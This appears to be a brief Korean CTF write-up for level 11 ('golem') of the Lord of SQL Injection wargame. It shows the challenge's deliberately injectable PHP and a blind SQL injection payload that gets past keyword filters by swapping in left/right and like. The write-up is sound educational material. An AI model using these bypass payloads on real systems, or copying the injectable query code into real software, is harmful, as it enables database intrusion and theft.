los(lord of sql) level 11 - golem

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query : select id from prob_golem where id='guest' and pw=''

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<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>





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  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

blind sqli 문제네요. or, and, substr(, =를 필터링중입니다. substr이 필터링 되어있을 시 left, right를, =(이퀄)이 필터링 되어있을 시 like를 사용하여 쿼리문을 작성할 수 있습니다. (자세한 내용은 웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips 참조)

?pw='||id like('admin')%26%26right(left(pw,1),1)like(0x41)%23

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